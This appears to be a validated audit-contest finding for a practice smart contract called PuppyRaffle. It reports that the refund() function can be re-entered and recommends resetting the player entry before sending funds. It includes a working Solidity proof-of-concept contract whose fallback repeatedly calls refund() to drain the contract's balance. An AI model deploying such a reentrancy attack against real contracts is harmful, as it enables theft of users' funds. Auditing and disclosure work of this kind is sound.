Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

REFUND FUNCTION CAN BE RE-ENTERED

Summary

Before the contract calls the "select winner" function,a bad actor can enter the "refund" function and drain the wallet.

Vulnerability Details

POC
create another contract with the code below. enter the raffle with the contract address and then call refund.
'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "./PuppyRaffle.sol";

contract reentrant {
PuppyRaffle public puppyRaffle;
uint public playerIndex;
constructor(address _puppyRaffleAddy) {
puppyRaffle = PuppyRaffle(_puppyRaffleAddy);
}

fallback() external payable {
    if(address(puppyRaffle).balance >=1e18) {
        puppyRaffle.refund(playerIndex);
    }
}

function attackRefund(uint _playerIndex) public{
    playerIndex = _playerIndex;
    puppyRaffle.refund(playerIndex);
}

 function getBalance() public view returns (uint){
    return address(this).balance;
}

}
'''

Impact

contract will lose all funds

Tools Used

remixIde

Recommendations

set playerIndex in refund() to 0 before sending out fund

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!